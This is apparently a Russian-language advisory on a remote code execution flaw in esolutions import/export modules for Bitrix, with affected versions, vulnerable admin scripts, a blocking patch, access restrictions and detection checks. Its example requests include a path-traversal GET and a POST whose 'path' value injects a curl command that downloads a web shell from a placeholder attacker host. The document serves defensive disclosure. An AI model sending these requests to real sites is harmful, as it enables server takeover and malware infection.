Уязвимость в плагинах Bitrix Экспорт/Импорт товаров в Excel
Уязвимость в плагинах Bitrix Экспорт/Импорт товаров в Excel
Категория: Программы Теги: Уязвимости Опубликовано: 28 марта 2025

Уязвимость в плагинах Bitrix Экспорт/Импорт товаров в Excel

Уязвимость представляет собой Remote Code Execution (RCE) через недостаточную санитизацию параметра path в POST/GET-запросах. Она позволяет злоумышленнику выполнить произвольный код на сервере, если используется уязвимая версия модуля.


Механизм работы

Уязвимые компоненты:

  • Скрипты админки (например, /bitrix/admin/esol_import_excel_cron_settings.php), обрабатывающие параметры импорта/экспорта данных.

Как это работает:

  1. Контролируемый параметр:

    • Параметр path (передаваемый в запросе) используется для указания пути к файлу.

  2. Опасные операции:

    • В уязвимых версиях модулей параметр path передается в функции файловых операций (includerequirefile_get_contentsбез санитизации.

  3. Эксплуатация:

    • Злоумышленник отправляет запрос с параметром path, содержащим:

      • Путь к вредоносному PHP-файлу на сервере (например, через загруженный файл).

      • Удаленный URL (например, http://attacker[.]com/shell.php), если разрешены внешние включения (allow_url_include=On).

Пример эксплуатации с get запросом:

GET /bitrix/admin/esol_import_excel_cron_settings.php?path=../../../upload/evil.php HTTP/1.1

Пример с post запросом:

POST /bitrix/admin/esol_export_xml_cron_settings.php HTTP/1.0
...
action=getphpversion&path=curl+http%3A%2F%2FEvilSiteForExample[.]com%2Faccesson20.html+-so+..%2F..%2F7111fd77004c.php%3Bphp

Они могут менять curl на wget и некоторые дополнительные параметры, но в качестве точки входа именно эти файлы, расположенные в разных директориях.


Условия для эксплуатации

  • Установлен один из уязвимых модулей от esolutions для bitrix:

                    1) Импорт из Excel - версии от 2.4.7 до 2.8.9
                    2) Экспорт в Excel - версии от 0.8.2 до 1.2.2
                    3) Экспорт/Импорт товаров в Excel - версии от 2.4.7 до 2.8.9
                    4) Импорт из XML и YML - версии от 0.6.8 до 1.1.6
                    5) Массовая обработка элементов инфоблока - версии от 0.5.9 до 0.7.7
                    6) Многофункциональный экспорт/импорт в Excel - версии от 0.2.2 до 0.4.8

  • Скрипты админки доступны извне (например, если /bitrix/admin/ не защищен через .htaccess или IP-ограничения).

  • На сервере разрешено выполнение PHP-кода через include/require.


Как защитить сайт

a) Срочные меры:

  1. Добавьте предоставленный код в начало уязвимых файлов:

    <?if(isset($_REQUEST['path']) && strlen($_REQUEST['path']) > 0) {
        header((stristr(php_sapi_name(), 'cgi') !== false ? 'Status: ' : $_SERVER['SERVER_PROTOCOL'].' ').'403 Forbidden');
        die();
    }?>

    Это блокирует любые запросы с параметром path.

Не полный список уязвимых файлов:

  • /bitrix/modules/kda.importexcel/admin/iblock_import_excel_cron_settings.php
  • /bitrix/modules/kda.exportexcel/admin/iblock_export_excel_cron_settings.php
  • /bitrix/modules/esol.importexportexcel/admin/iblock_import_excel_cron_settings.php
  • /bitrix/modules/esol.importexportexcel/admin/iblock_export_excel_cron_settings.php
  • /bitrix/modules/esol.importxml/admin/import_xml_cron_settings.php
  • /bitrix/modules/esol.massedit/admin/profile.php
  • /bitrix/modules/esol.allimportexport/admin/cron_settings.php
  • /bitrix/admin/esol_massedit_profile.php
  • /bitrix/admin/kda_export_excel_cron_settings.php
  • /bitrix/admin/esol_allimportexport_cron_settings.php
  • /bitrix/admin/kda_import_excel_cron_settings.php
  • /bitrix/admin/esol_export_xml_cron_settings.php
  • /bitrix/admin/esol_import_xml_cron_settings.php

Уязвимые модули могут иметь немного другой путь и начало имени, например, /bitrix/admin/esol_import_excel_cron_settings.php.

При помощи данных уязимостей злоумышленниками производятся массовые сканирования на наличие данных уязвимостей и автоматизированная эксплуатация с целью заразить сайт вирусом 7111fd77004c.php.

  1. Обновите модули до версий, выпущенных в июне-июле 2023

b) Дополнительные меры:

  • Ограничьте доступ к /bitrix/admin/**:

    • Настройте аутентификацию при помощи файла.htaccess в директории /bitrix/admin/

      AuthType Basic
      AuthName "Admin Area"
      AuthUserFile /path/to/.htpasswd
      Require valid-user
      Order Deny,Allow
      Deny from all
      Allow from 192.168.1.0/24
    • Убедитесь, что файл .htpasswd создан и содержит учетные данные пользователей, которым разрешен доступ. 

    • Замените /path/to/.htpasswd на фактический путь к файлу .htpasswd.

    • Поместите .htaccess файл в директорию /bitrix/admin/, а не в корень.

    • Замените диапазон IP-адресов на нужный.

  • Проверьте настройки PHP:

    allow_url_include = Off
    allow_url_fopen = Off

     

  • Аудит логов:

    • Проверьте логи веб-сервера на подозрительные запросы к /bitrix/admin/*cron_settings.php.


Обнаружение взломов

Проверьте:

  1. Новые файлы в директориях:

    • /upload/

    • /bitrix/modules/

    • /bitrix/admin/

  2. Подозрительные процессы на сервере:

    ps aux | grep -E '(wget|curl|sh|bash|perl|python|php)'

     

  3. Измененные файлы:

    find /path/to/site -type f -mtime -3 -ls

     


Рекомендуемые инструменты

  • Сканеры уязвимостей:

    • Bitrix Vulnerability Scanner

    • Acunetix, Nessus.

  • Мониторинг файлов:

    • OSSEC, Tripwire.

Алексей Черемных Алексей Черемных
234